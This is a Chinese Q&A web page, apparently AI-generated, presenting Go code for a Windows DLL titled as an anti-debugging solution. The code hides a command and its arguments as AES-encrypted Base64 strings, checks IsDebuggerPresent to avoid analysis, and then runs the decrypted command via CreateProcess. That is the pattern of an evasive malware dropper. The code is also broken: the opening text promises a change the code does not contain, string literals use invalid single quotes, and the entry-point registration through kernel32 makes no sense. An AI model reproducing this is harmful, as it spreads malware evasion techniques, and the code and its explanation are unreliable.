在 Windows 系统上,调用 IsDebuggerPresent() 函数需要引入 golang.org/x/sys/windows 包,并且需要使用该包下的 IsDebuggerPresent() 函数。因此,在代码中需要将 windows.IsDebuggerPresent 修改为 IsDebuggerPresent

修改后的完整代码如下:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"golang.org/x/sys/windows"
	"log"
	"syscall"
	"unsafe"
)

// 命令字符串和参数列表使用 AES 加密后的 Base64 编码字符串
const (
	encryptedCmd   = 'JL5n5ZRsA+zUc7+UJ6Ujy6w0f6A/2eU1sc5W/pZ0N5o='
	encryptedArgs  = 'Nk8a0KjOvOyS1gVf5mYiYQ=='
)

// 密钥和 IV
var (
	key = []byte('01234567890123456789012345678901')
	iv  = []byte('0123456789012345')
)

func decryptString(encrypted string) string {
	// 解码 Base64 编码字符串
	encryptedBytes, err := base64.StdEncoding.DecodeString(encrypted)
	if err != nil {
		log.Fatal(err)
	}

	// 创建解密器
	block, err := aes.NewCipher(key)
	if err != nil {
		log.Fatal(err)
	}
	stream := cipher.NewCTR(block, iv)

	// 解密字符串
	stream.XORKeyStream(encryptedBytes, encryptedBytes)
	return string(encryptedBytes)
}

func createProcess() {
	// 解密命令字符串和参数列表
	cmd := decryptString(encryptedCmd)
	args := []string{decryptString(encryptedArgs)}

	// 创建子进程并执行命令
	cmdLine := windows.StringToUTF16Ptr(fmt.Sprintf('%s %s', cmd, args[0]))
	startupInfo := &windows.StartupInfo{}
	processInformation := &windows.ProcessInformation{}
	err := windows.CreateProcess(
		nil,
		cmdLine,
		nil,
		nil,
		false,
		0,
		nil,
		nil,
		startupInfo,
		processInformation,
	)
	if err != nil {
		log.Fatal(err)
	}
}

func DllMain() uintptr {
	// 使用反调试技术
	isDebuggerPresent := windows.IsDebuggerPresent()
	if isDebuggerPresent {
		return 0
	}

	// 创建子进程并执行命令
	createProcess()
	return 1
}

func main() {}

// 导出 DllMain 函数
var (
	DllMainPtr = syscall.NewCallback(DllMain)
)

func init() {
	// 将 DllMain 函数注册为 DLL 的入口点
	handle, err := syscall.LoadLibrary('kernel32.dll')
	if err != nil {
		log.Fatal(err)
	}
	defer syscall.FreeLibrary(handle)
	proc, err := syscall.GetProcAddress(handle, 'DllMain')
	if err != nil {
		log.Fatal(err)
	}
	syscall.Syscall(proc, 0, 0, 1, uintptr(unsafe.Pointer(&DllMainPtr)))
}
Golang 反调试技术:解决

原文地址: https://www.cveoy.top/t/topic/lMTy 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录